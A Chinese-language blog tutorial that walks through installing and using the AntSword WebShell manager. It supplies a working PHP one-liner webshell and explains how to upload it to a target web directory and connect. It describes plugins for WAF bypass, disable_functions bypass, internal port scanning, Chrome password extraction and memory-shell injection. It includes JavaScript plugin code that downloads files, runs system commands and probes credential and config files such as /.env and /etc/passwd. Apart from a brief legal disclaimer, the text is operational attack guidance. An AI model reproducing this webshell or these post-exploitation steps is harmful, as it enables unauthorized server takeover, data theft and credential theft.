蚁剑--安装、使用

原创已于 2025-08-12 20:09:36 修改 · 1.8k 阅读

14 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #内网渗透 #后门工具

于 2025-08-12 19:48:38 首次发布

内网工具专栏收录该内容

18 篇文章

订阅专栏

用途限制声明，本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具，严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果，作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作，可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果，在合法合规前提下谨慎实践。

一、蚁剑介绍

蚁剑（AntSword） 是一款开源的 WebShell 管理工具，专为渗透测试和安全研究设计。其核心功能是连接并管理通过漏洞上传的 WebShell（一种驻留在服务器上的恶意脚本），支持图形化操作，比传统命令行工具更高效。

特点：

跨平台：基于 Electron 开发，支持 Windows、Linux、macOS。
插件扩展：支持自定义插件（编码解码、数据嗅探等）。
多协议支持：支持 HTTP/HTTPS，可自定义请求头绕过 WAF。

二、蚁剑原理

蚁剑的核心功能是通过 “一句话木马” 实现对目标服务器的远程控制，其工作流程如下：

植入木马：在目标服务器的网页脚本（如 PHP、ASP、JSP 等）中植入 “一句话木马”，例如 PHP 的典型木马为 <?php @eval($_POST['pass']);?>（其中pass是自定义的连接密码）。
建立连接：蚁剑通过发送 HTTP POST 请求，将控制指令（如文件操作、命令执行代码）以密码pass为标识传递给木马。
执行指令：目标服务器上的木马接收到请求后，通过eval等函数执行传递的代码，将结果返回给蚁剑，从而实现文件管理、命令执行、数据库操作等功能。
通信流程：

5.关键技术：

动态密钥交换：客户端与 WebShell 协商 AES 密钥。

流量伪装：通过 Cookie、Header 自定义躲避安全设备检测。

模块化加载：核心功能（文件管理、数据库连接等）按需加载。

三、安装

有多个版本的，这里我们就以windows的为例

下载地址：访问蚁剑官方 GitHub 仓库（https://github.com/AntSwordProject/AntSword-Loader），根据操作系统（Windows、macOS、Linux）下载对应版本的加载器（压缩包形式）。访问不了github的，这里下载，蚁剑-一款强大的Webshell管理工具资源-优快云下载
初始化环境：
- 解压加载器压缩包，以管理员权限运行加载器程序（如 Windows 下的AntSword.exe）。
- 点击 “初始化” 按钮，选择一个本地文件夹作为工作目录，程序会自动下载并安装最新的源码和依赖。

进第一个，运行exe文件

需要进行初始化，选择第二个文件

启动程序：初始化完成后，重新打开加载器，即可进入蚁剑的图形化操作界面。

安装完成

四、使用

首先我们先创建一个一句话木马

<?php @eval($_POST['pass']);?>

然后将其上传至目标机的web目录下，访问，如下所示说明上传成功并且成功解析

添加 WebShell，启动蚁剑→ 右键「添加」→ 填写信息：

URL：WebShell 地址（如 http://target.com/shell.php）
连接密码：WebShell 中预设的密码，就是一句话木马中的pass
编码器/解码器：默认选择 default（AES 加密）
点击「测试连接」→ 成功提示后保存。

连接成功然后添加即可，然后点击即可进入目标机，进行一系列操作

其中，蚁剑还有一个强大的功能，就是插件市场，那么具有哪些用途呢

插件市场的核心用途

增强基础功能
- 文件管理：增加文件对比、批量操作等插件。
- 终端增强：支持PowerShell、Python等交互式终端。
绕过安全防护
- 绕过WAF：动态修改HTTP头部/Cookie躲避检测（如ModHeader插件）。
- 突破disable_functions：利用LD_PRELOAD、FFI等技术执行被禁用的PHP函数。
漏洞利用自动化
- 集成常见漏洞利用模块（如ThinkPHP RCE、WebLogic反序列化）。
内网渗透扩展
- 端口扫描、Socks代理、内网主机发现（如PortScan插件）。
数据操作
- 数据库导出（支持MySQL/MSSQL/Oracle）、配置文件解密。

插件安装方法

方式1：通过应用商店安装（推荐）

打开蚁剑 → 顶部菜单「插件」→「应用商店」。

搜索插件名称（如Bypass Disable Functions）→ 点击「安装」。
https://antsword.gitee.io/docs/usage/plugins/images/plugin-store.png

方式2：手动安装插件

从GitHub下载插件（如蚁剑插件库）。
解压到蚁剑目录：antSword/plugins/。
重启蚁剑生效。

注意：插件需与蚁剑版本兼容，否则可能报错。

关键插件使用示例

1. Bypass Disable Functions（绕过PHP限制）

用途：突破PHP安全配置（如禁用system()函数）。
操作步骤：
1. 连接WebShell → 右键目标Shell →「插件」→「Bypass Disable Functions」。
2. 选择绕过方式（如LD_PRELOAD）→ 点击「执行」。
3. 成功后终端自动切换至绕过环境，可执行任意命令。

2. PortScan（端口扫描）

用途：扫描目标服务器内网开放端口。
操作步骤：
1. 右键WebShell →「插件」→「PortScan」。
2. 输入目标IP和端口范围（如192.168.1.1-254:80,443,3306）。
3. 点击「扫描」→ 结果以表格形式展示。

3. ChromePass（浏览器密码提取）

用途：获取服务器上Chrome保存的密码。
步骤：
1. 确保目标为Windows系统。
2. 启动插件 → 自动提取密码并显示明文结果。

4. ShellCodeLoader（内存马注入）

用途：无文件攻击，将恶意载荷注入内存。
步骤：
1. 生成Payload（如Java内存马）。
2. 通过插件上传并注入到Tomcat等容器进程。

开发自定义插件

蚁剑支持JavaScript插件开发：

模块特点：

MyPlugin/
├── package.json    # 插件元数据
├── index.js        # 核心逻辑
└── icon.png        # 插件图标

例如一个简单的文件搜索插件，代码如下所示

'use strict';
module.exports = (core) => {
  // 注册右键菜单
  core.registerMenu('files', '搜索文件', async (e, path) => {
    const keyword = await core.prompt('输入关键字');
    const result = await core.request({
      url: e.URL,
      data: `search=${encodeURIComponent(keyword)}`
    });
    core.logger.info(`找到${result.length}个文件`);
  });
};

快速文件下载器插件

'use strict';

module.exports = (core) => {
  // 注册文件管理右键菜单
  core.registerMenu('filemanager', '⚡ 快速下载', async (e, filePath) => {
    const savePath = await core.gui.dialog.save({
      title: '保存文件',
      filters: [{ name: 'All Files', extensions: ['*'] }]
    });

    if (!savePath) return;

    try {
      const stream = core.utils.file.sliceDownload(e, filePath);
      await core.utils.file.saveStream(savePath, stream);
      core.logger.success(`下载成功: ${savePath}`);
    } catch (err) {
      core.logger.error(`下载失败: ${err.message}`);
    }
  });
};

系统信息速查插件

'use strict';

module.exports = (core) => {
  // 在Shell右键菜单添加选项
  core.registerMenu('shell', '🖥️ 系统信息', async (e) => {
    const commands = {
      'linux': 'uname -a; lscpu; free -h; df -h',
      'win': 'systeminfo | findstr /B /C:"OS" /C:"CPU"; wmic memorychip get capacity; fsutil volume diskfree C:'
    };

    try {
      const osType = await core.request({ data: 'echo PHP_OS;' });
      const cmd = osType.includes('WIN') ? commands.win : commands.linux;
      
      const res = await core.request({ data: cmd });
      core.gui.alert(`### 系统信息\n\`\`\`\n${res}\n\`\`\``);
    } catch (err) {
      core.logger.error(`获取失败: ${err}`);
    }
  });
};

敏感文件扫描

'use strict';

module.exports = (core) => {
  core.registerMenu('shell', '🔍 扫描配置文件', async (e) => {
    const paths = [
      '/.env', '/config/database.php', 
      '/WEB-INF/web.xml', '/etc/passwd',
      'C:\\Windows\\win.ini'
    ];

    let results = "发现以下配置文件：\n";
    
    for (const path of paths) {
      try {
        const res = await core.request({
          data: `file_exists("${path}") ? "1" : "0";`
        });
        if (res.includes('1')) results += `✅ ${path}\n`;
      } catch (e) { /* 忽略错误 */ }
    }
    
    core.gui.alert(results || "未找到常见配置文件");
  });
};

插件安装步骤：

在蚁剑目录创建插件文件夹：

antSword/
└── plugins/
    ├── QuickDownloader/
    │   └── index.js
    ├── SysInfo/
    │   └── index.js
    └── ConfigScanner/
        └── index.js